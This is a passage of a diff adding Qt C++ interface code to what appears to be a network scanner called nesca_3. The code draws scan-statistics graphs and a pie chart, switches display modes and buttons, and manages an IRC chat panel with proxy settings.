sceneTextPlacer->addLine(23, 141, 189, 141, penPT); + item = sceneTextPlacer->addText("- Suspicious", fnt); + item->setX(25); + item->setY(125); + item->setDefaultTextColor(QColor(255, 255, 255, 180)); + + sceneTextPlacer->addLine(230, 150, 250, 100, penPT); + sceneTextPlacer->addLine(23, 151, 229, 151, penPT); + item = sceneTextPlacer->addText("- Overloads", fnt); + item->setX(25); + item->setY(135); + item->setDefaultTextColor(QColor(255, 255, 255, 180)); + + sceneTextPlacer->addLine(270, 160, 290, 100, penPT); + sceneTextPlacer->addLine(23, 161, 269, 161, penPT); + item = sceneTextPlacer->addText("- Lowloads", fnt); + item->setX(25); + item->setY(145); + item->setDefaultTextColor(QColor(255, 255, 255, 180)); + + sceneTextPlacer->addLine(310, 170, 330, 100, penPT); + sceneTextPlacer->addLine(23, 171, 309, 171, penPT); + item = sceneTextPlacer->addText("- Alive", fnt); + item->setX(25); + item->setY(155); + item->setDefaultTextColor(QColor(255, 255, 255, 180)); + } + else if(VoiceScanFlag) + { + sceneTextPlacer->clear(); + QPen penPT(QColor(255, 255, 255), 0.5, Qt::SolidLine, Qt::SquareCap, Qt::RoundJoin); + + fnt.setPixelSize(8); + + int h = ui->graphicLog->height(); + + delete []sceneTextPlacer; + sceneTextPlacer = NULL; + sceneTextPlacer = new QGraphicsScene(); + ui->graphicTextPlacer->setScene(sceneTextPlacer); + + for(int i = 0; i < h; i += 10) + { + QGraphicsTextItem *item = sceneTextPlacer->addText(QString::number(i/10 + 1) + "-", fnt); + if(i != 90) item->setX(46); + else item->setX(42); + item->setY(h - i - 11); + item->setDefaultTextColor(QColor(255, 255, 255, 180)); + }; + }; +}; +void nesca_3::slotDrawDelimLines() +{ + int gHeight = ui->graphicLog->height(); + QPen penDelim(QColor(255, 0, 0), 0.5); + QPen penDelim2(QColor(255, 0, 0, 60), 1); + + QLinearGradient gradient(0, 0, 0, 100); + gradient.setColorAt(0, QColor(255,0,0, 60)); + gradient.setColorAt(0.5, QColor(255,0,0, 40)); + gradient.setColorAt(1, QColor(255,0,0, 0)); + penDelim2.setBrush(gradient); + + sceneGrid2->addLine(33, gHeight, 33, gHeight - 3, penDelim); + sceneGrid2->addLine(73, gHeight, 73, gHeight - 3, penDelim); + sceneGrid2->addLine(113, gHeight, 113, gHeight - 3, penDelim); + sceneGrid2->addLine(153, gHeight, 153, gHeight - 3, penDelim); + sceneGrid2->addLine(193, gHeight, 193, gHeight - 3, penDelim); + sceneGrid2->addLine(233, gHeight, 233, gHeight - 3, penDelim); + + sceneGrid2->addRect(1, 0, 31, gHeight - 3, penDelim2); + sceneGrid2->addRect(34, 0, 38, gHeight - 3, penDelim2); + sceneGrid2->addRect(74, 0, 38, gHeight - 3, penDelim2); + sceneGrid2->addRect(114, 0, 38, gHeight - 3, penDelim2); + sceneGrid2->addRect(154, 0, 38, gHeight - 3, penDelim2); + sceneGrid2->addRect(194, 0, 38, gHeight - 3, penDelim2); + sceneGrid2->addRect(234, 0, 35, gHeight - 3, penDelim2); +}; +QList gLOL0; +QList gLOL1; +QList gLOL2; +QList gLOL3; +QList gLOL4; +QList gLOL5; +QList gLOL6; +QList gLOL7; +bool QOSWait = false; +void nesca_3::slotQoSAddLine() +{ + QOSWait = true; + sceneGraph->clear(); + sceneGrid2->clear(); + sceneUpper->clear(); + + float gHeight = ui->graphicLog->height(); + float gWidth = ui->graphicLog->width(); + + float fact = (float)100 / (float)MaxDataVal; + + if(QoSStep > 268) + { + MaxDataVal = 1; + QoSStep = 1; + gLOL0.clear(); + gLOL1.clear(); + gLOL2.clear(); + gLOL3.clear(); + gLOL4.clear(); + gLOL5.clear(); + gLOL6.clear(); + gLOL7.clear(); + }; + gLOL0.push_back(lstOfLabels[0]); + gLOL1.push_back(lstOfLabels[1]); + gLOL2.push_back(lstOfLabels[2]); + gLOL3.push_back(lstOfLabels[3]); + gLOL4.push_back(lstOfLabels[4]); + gLOL5.push_back(lstOfLabels[5]); + gLOL6.push_back(lstOfLabels[6]); + gLOL7.push_back(lstOfLabels[7]); + + int d0; + int d1; + int d2; + int d3; + int d4; + int d5; + int d6; + int d7; + + for(int QoSStepi = 0; QoSStepi < QoSStep; ++QoSStepi) + { + if(QoSStepi < gLOL0.size() + && QoSStepi < gLOL1.size() + && QoSStepi < gLOL2.size() + && QoSStepi < gLOL3.size() + && QoSStepi < gLOL4.size() + && QoSStepi < gLOL5.size() + && QoSStepi < gLOL6.size() + && QoSStepi < gLOL7.size() + ) + { + d0 = gHeight - gLOL0[QoSStepi] * fact - 1; + d1 = gHeight - gLOL1[QoSStepi] * fact - 1; + d2 = gHeight - gLOL2[QoSStepi] * fact - 1; + d3 = gHeight - gLOL3[QoSStepi] * fact - 1; + d4 = gHeight - gLOL4[QoSStepi] * fact - 1; + d5 = gHeight - gLOL5[QoSStepi] * fact - 1; + d6 = gHeight - gLOL6[QoSStepi] * fact - 1; + d7 = gHeight - gLOL7[QoSStepi] * fact - 1; + + sceneGraph->addLine(QoSStepi, gHeight, QoSStepi, d0, penQoS0); + sceneGraph->addLine(QoSStepi, gHeight, QoSStepi, d1, penQoS1); + sceneGraph->addLine(QoSStepi, gHeight, QoSStepi, d2, penQoS2); + sceneGraph->addLine(QoSStepi, gHeight, QoSStepi, d3, penQoS3); + sceneGraph->addLine(QoSStepi, gHeight, QoSStepi, d4, penQoS4); + sceneGraph->addLine(QoSStepi, gHeight, QoSStepi, d5, penQoS5); + sceneGraph->addLine(QoSStepi, gHeight, QoSStepi, d6, penQoS6); + sceneGraph->addLine(QoSStepi, gHeight, QoSStepi, d7, penQoS7); + }; + }; + QFont fnt; + fnt.setFamily("Eurostile"); + fnt.setPixelSize(10); + + QGraphicsTextItem *item = sceneUpper->addText("Max = " + QString(std::to_string(MaxDataVal).c_str()), fnt); + item->setX(215); + item->setDefaultTextColor(Qt::white); + QOSWait = false; +}; +void nesca_3::slotQoSAddGrid() +{ + sceneGrid->clear(); + + int gWidth = ui->graphicLog->width(); + int gHeight = ui->graphicLog->height(); + if(MaxDataVal > 100) MaxDataVal = 100; + float fact = (float)100/(float)MaxDataVal; + + float th = 0; + for(int i = 0; i < 100; ++i) + { + th += fact; + sceneGrid->addLine(0, th, gWidth, th, rpen); + }; +}; +void nesca_3::setNickBox(QString str) +{ + ui->ircNickBox->setText(str); +}; +void nesca_3::slotAddLine(int x1, int y1, int x2, int y2) +{ + sceneGrid->addLine(x1, y1, x2, y2, pen); + if(sceneGrid->items().size() > 10) + { + sceneGrid->removeItem(vectOld[10]); + sceneGrid->items().pop_back(); + }; +}; +void nesca_3::slotAddPolyLine() +{ + if(ME2ScanFlag) + { + double uu = 0; + QPainterPath path; + if(vect.size() > 0) + { + path.moveTo(vect[0]); + for(int i = 1; i < vect.size(); ++i) + { + path.lineTo(vect[i]); + }; + }; + QGraphicsPathItem* itm = new QGraphicsPathItem(path); + + itm->setPen(pen2i); + vectOld.push_front(itm); + QGraphicsPathItem* itemN; + for(int i = 0; i < vectOld.size(); ++i) + { + itemN = vectOld[i]; + + itemN->setY(u+i); + itemN->setOpacity(1 - uu); + uu+=0.04; + sceneGraph->addItem(itemN); + u+=2; + }; + int maxPrnt = 30; + while(vectOld.size() > maxPrnt) + { + if(vectOld[maxPrnt] != 0) + { + sceneGraph->removeItem(vectOld[maxPrnt]); + delete vectOld[maxPrnt]; + if(vectOld.size() > 0) vectOld.pop_back(); + }; + }; + if(u > 10) u = 1; + }; +}; +void nesca_3::slotDrawGrid() +{ + sceneGrid->clear(); +}; +void nesca_3::slotDrawActivityGrid() +{ + sceneActivityGrid->clear(); + QPen penActivity(QColor(170, 170, 170, 150), 0.1); + + int gWidth = ui->graphicActivityGrid->width(); + int gHeight = ui->graphicActivityGrid->height(); + + //Vertical + for(int i = 0; i < 100; i+=10) + { + sceneActivityGrid->addLine(i, 0, i, gHeight, penActivity); + }; +}; + +void nesca_3::slotDrawActivityLine(QString data) +{ + sceneActivity->clear(); + + QPen penActivity(QColor(255, 255, 255), 0.3); + int as = 0; + + for(int i = 1; i < actLst.size(); ++i) + { + as += 2; + int al1 = actLst[i]; + int al12 = actLst[i-1]; + int yy = 16 - actLst[i - 1]; + int yy2 = 16 - actLst[i]; + + sceneActivity->addLine(as - 2, 16 - actLst[i - 1], as, 16 - actLst[i], penActivity); + }; + QFont fnt; + fnt.setFamily("Eurostile"); + fnt.setPixelSize(9); + QGraphicsTextItem *titem = sceneActivity->addText(data, fnt); + titem->setX(43 - data.length()*2); + titem->setY(-5); + titem->setDefaultTextColor(QColor(255, 255, 255, 80)); +}; +void nesca_3::slotDrawVoiceGrid(int factor) +{ + sceneGrid->clear(); + QPen penActivity(QColor(170, 170, 170, factor), 0.1); + QPen rpenActivity(QColor(255, 0, 0, factor), 0.1); + + int gWidth = ui->graphicLog->width(); + int gHeight = ui->graphicLog->height(); + + //Horizontal + int th = 0; + for(int i = 0; i < 100; i+=5) + { + th = i - 2; + if(i % 10 == 0) sceneGrid->addLine(0, th, gWidth, th, rpenActivity); + else sceneGrid->addLine(0, th, gWidth, th, penActivity); + }; + + //Vertical + for(int i = 0; i < 270; i+=10) + { + sceneGrid->addLine(i, 0, i, gHeight, penActivity); + }; +}; +void nesca_3::activateME2ScanScene() +{ + if(ME2ScanFlag == false) + { + ui->me2ScanBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); + ui->QoSScanBut->setStyleSheet("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);"); + ui->VoiceScanBut->setStyleSheet("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);"); + ui->PieStatBut->setStyleSheet("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);"); + + sceneUpper->clear(); + + sceneGrid->clear(); + sceneGrid2->clear(); + sceneGraph->clear(); + sceneVoice->clear(); + + vAlivLst.clear(); + vAnomLst.clear(); + vWFLst.clear(); + vSuspLst.clear(); + vLowlLst.clear(); + vBALst.clear(); + vOvrlLst.clear(); + vSSHLst.clear(); + vectOld.clear(); + + ME2ScanFlag = true; + QoSScanFlag = false; + VoiceScanFlag = false; + PieStatFlag = false; + + for(int i = 0; i < sceneGrid->items().size(); ++i) + { + sceneGrid->removeItem(sceneGrid->items()[i]); + sceneGrid->items().clear(); + }; + for(int i = 0; i < sceneGrid2->items().size(); ++i) + { + sceneGrid2->removeItem(sceneGrid2->items()[i]); + sceneGrid2->items().clear(); + }; + + if(dtHN->isRunning() == false) + { + dtHN->start(); + }; + if(dtME2->isRunning() == false) + { + dtME2->start(); + }; + }; +}; +void nesca_3::activateQoSScanBut() +{ + if(QoSScanFlag == false) + { + ui->QoSScanBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); + ui->PieStatBut->setStyleSheet("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);"); + ui->VoiceScanBut->setStyleSheet("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);"); + ui->me2ScanBut->setStyleSheet("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);"); + + ui->RedLabel->setVisible(true); + ui->GreenLabel->setVisible(true); + ui->CyanLabel->setVisible(true); + ui->BlueLabel->setVisible(true); + ui->PinkLabel->setVisible(true); + ui->YellowLabel->setVisible(true); + ui->WhiteLabel->setVisible(true); + ui->DredLabel->setVisible(true); + + ui->labelAnomaly->setVisible(true); + ui->labelBA->setVisible(true); + ui->labelFiltered->setVisible(true); + ui->labelBads->setVisible(true); + ui->labelLowloads->setVisible(true); + ui->labelOverloads->setVisible(true); + ui->labelAlives->setVisible(true); + ui->labelSSH->setVisible(true); + + vAlivLst.clear(); + vAnomLst.clear(); + vWFLst.clear(); + vSuspLst.clear(); + vLowlLst.clear(); + vBALst.clear(); + vOvrlLst.clear(); + vSSHLst.clear(); + vectOld.clear(); + + ME2ScanFlag = false; + QoSScanFlag = true; + VoiceScanFlag = false; + PieStatFlag = false; + + QoSStep = 1; + MaxDataVal = 1; + + sceneGrid2->clear(); + sceneGraph->clear(); + sceneGrid->clear(); + sceneUpper->clear(); + sceneTextPlacer->clear(); + sceneVoice->clear(); + vect.clear(); + + if(dtQoS->isRunning() == false) dtQoS->start(); + if(dtGridQoS->isRunning() == false) dtGridQoS->start(); + }; +}; +void nesca_3::activateVoiceScanBut() +{ + if(VoiceScanFlag == false) + { + ui->VoiceScanBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); + ui->me2ScanBut->setStyleSheet("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);"); + ui->QoSScanBut->setStyleSheet("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);"); + ui->PieStatBut->setStyleSheet("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);"); + + ui->RedLabel->setVisible(true); + ui->GreenLabel->setVisible(true); + ui->CyanLabel->setVisible(true); + ui->BlueLabel->setVisible(true); + ui->PinkLabel->setVisible(true); + ui->YellowLabel->setVisible(true); + ui->WhiteLabel->setVisible(true); + ui->DredLabel->setVisible(true); + + ui->labelAnomaly->setVisible(true); + ui->labelBA->setVisible(true); + ui->labelFiltered->setVisible(true); + ui->labelBads->setVisible(true); + ui->labelLowloads->setVisible(true); + ui->labelOverloads->setVisible(true); + ui->labelAlives->setVisible(true); + ui->labelSSH->setVisible(true); + + ME2ScanFlag = false; + QoSScanFlag = false; + VoiceScanFlag = true; + PieStatFlag = false; + + sceneGrid2->clear(); + sceneGraph->clear(); + sceneGrid->clear(); + sceneUpper->clear(); + sceneVoice->clear(); + + if(vsTh->isRunning() == false) vsTh->start(); + }; +}; +void nesca_3::slotUpdatePie() +{ + sceneGraph->clear(); + vsTh->doEmitDrawGrid(70); + + int goods = saved; + int nAlive = found - goods; + float degree = (16*360) / (float)100; + + float perc0 = ((float)nAlive * 100) * degree; + float perc1 = ((float)PieAnomC1/(float)(found) * 100) * degree; + float perc2 = ((float)PieSusp/(float)(found) * 100) * degree; + float perc3 = ((float)PieBA/(float)(found) * 100) * degree; + float perc4 = ((float)PieLowl/(float)(found) * 100) * degree; + float perc5 = ((float)PieWF/(float)(found) * 100) * degree; + float perc6 = ((float)PieSSH/(float)(found) * 100) * degree; + + QFont fnt; + fnt.setFamily("Eurostile"); + fnt.setPixelSize(10); + + QString dataSaved = "Saved: " + QString::number(goods/(float)(found > 0 ? found : 1) * 100) + "%(" + QString::number(goods) + ")"; + QString dataParsed = "Filtered: " + QString::number((found - goods)/(float)(found > 0 ? found : 1) * 100) + "%(" + QString::number(found - goods) + ")"; + QString dataOnline = "Online: " + QString::number(found); + QString dataAnom = "Anomalies: " + QString::number(PieAnomC1/(float)(goods > 0 ? goods : 1) * 100) + "%"; + QString dataBA = "Basic Auth: " + QString::number(PieBA/(float)(goods > 0 ? goods : 1) * 100) + "%"; + QString dataSusp = "Suspicious: " + QString::number(PieSusp/(float)(goods > 0 ? goods : 1) * 100) + "%"; + QString dataLowl = "Lowload: " + QString::number(PieLowl/(float)(goods > 0 ? goods : 1) * 100) + "%"; + QString dataWF = "WebForms: " + QString::number(PieWF/(float)(goods > 0 ? goods : 1) * 100) + "%"; + QString dataSSH = "SSH: " + QString::number(PieSSH/(float)(goods > 0 ? goods : 1) * 100) + "%"; + + int dataX = 1; + int dataY = 13; + + QGraphicsTextItem *titem = sceneGraph->addText(dataOnline, fnt); + titem->setX(dataX); + titem->setY(-5); + titem->setDefaultTextColor(QColor(255, 255, 255, 130)); + + titem = sceneGraph->addText(dataSaved, fnt); + titem->setX(dataX); + titem->setY(5); + titem->setDefaultTextColor(QColor(255, 255, 255, 130)); + + titem = sceneGraph->addText(dataParsed, fnt); + titem->setX(dataX); + titem->setY(15); + titem->setDefaultTextColor(QColor(255, 255, 255, 255)); + + titem = sceneGraph->addText(dataAnom, fnt); + titem->setX(dataX); + titem->setY(dataY + 17); + titem->setDefaultTextColor(QColor("red")); + + titem = sceneGraph->addText(dataBA, fnt); + titem->setX(dataX); + titem->setY(dataY + 27); + titem->setDefaultTextColor(Qt::darkCyan); + + titem = sceneGraph->addText(dataSusp, fnt); + titem->setX(dataX); + titem->setY(dataY + 37); + titem->setDefaultTextColor(Qt::darkRed); + + titem = sceneGraph->addText(dataLowl, fnt); + titem->setX(dataX); + titem->setY(dataY + 47); + titem->setDefaultTextColor(Qt::magenta); + + titem = sceneGraph->addText(dataWF, fnt); + titem->setX(dataX); + titem->setY(dataY + 56); + titem->setDefaultTextColor(Qt::darkGray); + + titem = sceneGraph->addText(dataSSH, fnt); + titem->setX(dataX); + titem->setY(dataY + 66); + titem->setDefaultTextColor(Qt::darkRed); + + int PieX = 155; + int PieW = 112; + + //Alives + QGraphicsEllipseItem* item = NULL; + if(perc0 == 0) + { + item = new QGraphicsEllipseItem(PieX, 2, PieW, 97); + item->setStartAngle(0); + perc0 = 16*360; + item->setSpanAngle(perc0); + item->setBrush(QBrush(QColor(255, 255, 255, 10))); + sceneGraph->addItem(item); + } + else + { + item = new QGraphicsEllipseItem(PieX, 2, PieW, 97); + item->setStartAngle(0); + item->setSpanAngle(perc0); + item->setBrush(QBrush(Qt::white)); + sceneGraph->addItem(item); + }; + //Anomalies + if(perc1 > 0) + { + item = new QGraphicsEllipseItem(PieX, 2, PieW, 97); + item->setStartAngle(perc0); + item->setSpanAngle(perc1); + item->setBrush(QBrush(Qt::red)); + sceneGraph->addItem(item); + }; + //Suspicious + if(perc2 > 0) + { + item = new QGraphicsEllipseItem(PieX, 2, PieW, 97); + item->setStartAngle(perc0 + perc1); + item->setSpanAngle(perc2); + item->setBrush(QBrush(Qt::darkRed)); + sceneGraph->addItem(item); + }; + //BA + if(perc3 > 0) + { + item = new QGraphicsEllipseItem(PieX, 2, PieW, 97); + item->setStartAngle(perc0 + perc1 + perc2); + item->setSpanAngle(perc3); + item->setBrush(QBrush(Qt::darkCyan)); + sceneGraph->addItem(item); + }; + //Lowl + if(perc4 > 0) + { + item = new QGraphicsEllipseItem(PieX, 2, PieW, 97); + item->setStartAngle(perc0 + perc1 + perc2 + perc3); + item->setSpanAngle(perc4); + item->setBrush(QBrush(Qt::magenta)); + sceneGraph->addItem(item); + }; + //WF + if(perc5 > 0) + { + item = new QGraphicsEllipseItem(PieX, 2, PieW, 97); + item->setStartAngle(perc0 + perc1 + perc2 + perc3 + perc4); + item->setSpanAngle(perc5); + item->setBrush(QBrush(Qt::darkGray)); + sceneGraph->addItem(item); + }; + //SSH + if(perc6 > 0) + { + item = new QGraphicsEllipseItem(PieX, 2, PieW, 97); + item->setStartAngle(perc0 + perc1 + perc2 + perc3 + perc4 + perc5); + item->setSpanAngle(perc6); + item->setBrush(QBrush(Qt::darkRed)); + sceneGraph->addItem(item); + }; +}; +void nesca_3::activatePieStatBut() +{ + if(PieStatFlag == false) + { + ui->PieStatBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); + ui->QoSScanBut->setStyleSheet("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);"); + ui->VoiceScanBut->setStyleSheet("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);"); + ui->me2ScanBut->setStyleSheet("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);"); + + ui->RedLabel->setVisible(false); + ui->GreenLabel->setVisible(false); + ui->CyanLabel->setVisible(false); + ui->BlueLabel->setVisible(false); + ui->PinkLabel->setVisible(false); + ui->YellowLabel->setVisible(false); + ui->WhiteLabel->setVisible(false); + ui->DredLabel->setVisible(false); + + ui->labelAnomaly->setVisible(false); + ui->labelBA->setVisible(false); + ui->labelFiltered->setVisible(false); + ui->labelBads->setVisible(false); + ui->labelLowloads->setVisible(false); + ui->labelOverloads->setVisible(false); + ui->labelAlives->setVisible(false); + ui->labelSSH->setVisible(false); + + ME2ScanFlag = false; + QoSScanFlag = false; + VoiceScanFlag = false; + PieStatFlag = true; + + sceneGrid2->clear(); + sceneGraph->clear(); + sceneGrid->clear(); + sceneUpper->clear(); + sceneTextPlacer->clear(); + sceneVoice->clear(); + + if(psTh->isRunning() == false) psTh->start(); + }; +}; +bool stopFirst; +void nesca_3::importAndScan() +{ + if(startFlag == false) + { + if(trackerOK) + { + if(ui->linePersKey->text().size() != 0) + { + CheckPersKey(2); + } + else + { + stt->doEmitionRedFoundData("Empty \"Personal key\" field. "); + }; + } + else + { + stt->doEmitionStartScanImport(); + }; + } + else + { + ui->importButton->setStyleSheet( + " QPushButton {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: yellow;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + + ui->importButton->setText("Wait..."); + stt->doEmitionYellowFoundData("Trying to stop. Please, wait..."); + globalScanFlag = false; + + if(stopFirst == false) + { + stopFirst = true; + globalScanFlag = false; + ui->importButton->setStyleSheet( + " QPushButton {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: red;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + + ui->importButton->setText("STOP!"); + stt->doEmitionYellowFoundData("Trying to stop. Please, wait..."); + importFileName = ""; + } + else + { + globalScanFlag = false; + ui->importButton->setStyleSheet( + " QPushButton {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: yellow;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + + ui->importButton->setText("Wait..."); + stt->doEmitionYellowFoundData("Wait, killing threads..."); + STTTerminate(); + }; + }; +}; +void nesca_3::switchDataFields() +{ + if(ui->switcherBut->text() == "<") + { + BALogSwitched = true; + ui->dataText->lower(); + ui->BAText->raise(); + ui->switcherBut->setText(">"); + } + else + { + BALogSwitched = false; + ui->dataText->raise(); + ui->BAText->lower(); + ui->switcherBut->setText("<"); + }; +}; +void nesca_3::slotBlinkMessage() +{ + if(blinkFlag) + { + blinkFlag = false; + ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);"); + ui->IRCModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); + } + else + { + blinkFlag = true; + ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 255);background-color: rgba(2, 2, 2, 0);"); + ui->IRCModeBut->setStyleSheet("color: rgb(255, 0, 0);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 0, 0, 255);"); + }; +}; +void nesca_3::ChangeDispalyMode() +{ + if(widgetIsHidden == false && tray->isVisible() == false) + { + ui->IRCModeChangerBut->setVisible(true); + blinkFlag = false; + widgetIsHidden = true; + ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);"); + ui->JobModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); + ui->IRCModeBut->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);color: rgb(0, 214, 0);"); + ui->widgetJOB->setGeometry(QRect(500, 44, 500, 730)); + ui->widgetIRC->setStyleSheet("background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));"); + ui->widgetIRC->setGeometry(QRect(1, 44, 498, 730)); + ui->shoutBox->setFocus(); + QWidget::activateWindow(); + msgWdgt->hide(); + } + else + { + ui->IRCModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); + ui->IRCModeChangerBut->setVisible(false); + disableBlink = false; + blinkFlag = true; + widgetIsHidden = false; + printDelimiter = true; + ui->widgetIRC->setGeometry(QRect(500, 44, 500, 730)); + }; +}; +void nesca_3::switchToJobMode() +{ + if(ui->widgetJOB->geometry().x() == 500) + { + ui->widgetIRC->setGeometry(QRect(500, 44, 500, 730)); + ui->IRCModeChangerBut->setVisible(false); + widgetIsHidden = false; + ui->widgetJOB->setGeometry(QRect(1, 44, 498, 730)); + ui->JobModeBut->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);color: rgb(0, 214, 0);"); + ui->IRCModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); + } + else + { + ui->widgetJOB->setGeometry(QRect(500, 44, 500, 730)); + ui->JobModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); + }; +}; +void nesca_3::CheckProxy() +{ + saveOptions(); + _SaveBackupToFile(); + QStringList qsl; + if(ui->ircProxy->text().contains(":")) + { + qsl = ui->ircProxy->text().split(":"); + + ui->ircProxy->setText(qsl[0]); + ui->ircProxyPort->setText(qsl[1]); + }; + + chPTh->doEmitChangeYellowIRCData("Checking " + ui->ircProxy->text() + ":" + ui->ircProxyPort->text() + "..."); + chPTh->start(); +}; +void nesca_3::slotIRCOfflined() +{ + CSSOCKET(lSock); + ui->IRCConnectBut->setStyleSheet( + " #IRCConnectBut {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: green;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}"); + ui->IRCConnectBut->setText("Connect"); + ui->ircText->append("[-//-] Disconnected."); +}; +void nesca_3::ConnectToIRCServer() +{ + saveOptions(); + _SaveBackupToFile(); + QStringList qsl; + if(ui->ircServerBox->text().contains(":")) + { + qsl = ui->ircServerBox->text().split(":"); + + ui->ircServerBox->setText(qsl[0]); + ui->serverPortBox->setText(qsl[1]); + }; + if(ui->ircProxy->text().contains(":")) + { + qsl = ui->ircProxy->text().split(":"); + + ui->ircProxy->setText(qsl[0]); + ui->ircProxyPort->setText(qsl[1]); + }; + saveOptions(); + if(ui->ircServerBox->text() != "") + { + if(ui->serverPortBox->text() != "") + { + if(ui->IRCConnectBut->text() == "Connect") + { + if(!ircTh->isRunning()) + { + if(ui->ircProxy->text() != "" && ui->ircProxyPort->text() != "") proxyEnabledFlag = 1; + + iWantToConnect = true; + ui->IRCConnectBut->setStyleSheet( + " #IRCConnectBut {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: red;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}"); + ui->IRCConnectBut->setText("Disconnect"); + if(proxyEnabledFlag) ui->ircText->append("[*] Using proxy " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); + else ui->ircText->append("[*] No proxy selected! Connecting with your ip address."); + ircTh->start(); + } + else + { + ui->ircText->append("[...] Wait..."); + }; + } + else + { + iWantToConnect = false; + + ui->IRCConnectBut->setStyleSheet( + " #IRCConnectBut {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: green;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}"); + ui->IRCConnectBut->setText("Connect"); + ui->ircText->append("[-//-] Disconnected."); + + CSSOCKET(lSock); + }; + } + else + { +#pragma region QTGUI_Area + ui->ircText->append("No IRC port specified!"); +#pragma endregion + }; + } + else + { +#pragma region QTGUI_Area + ui->ircText->append("No IRC server specified!"); +#pragma endregion + }; +}; +void nesca_3::ChangeIRCRawLog() +{ + if(ui->IRCModeChangerBut->text() == ":IRC raw") + { + IRCLogToggled = false; + ui->IRCModeChangerBut->setText(":IRC log"); + ui->ircText->lower(); + ui->ircRaw->raise(); + } + else + { + IRCLogToggled = true; + ui->IRCModeChangerBut->setText(":IRC raw"); + ui->ircText->raise(); + 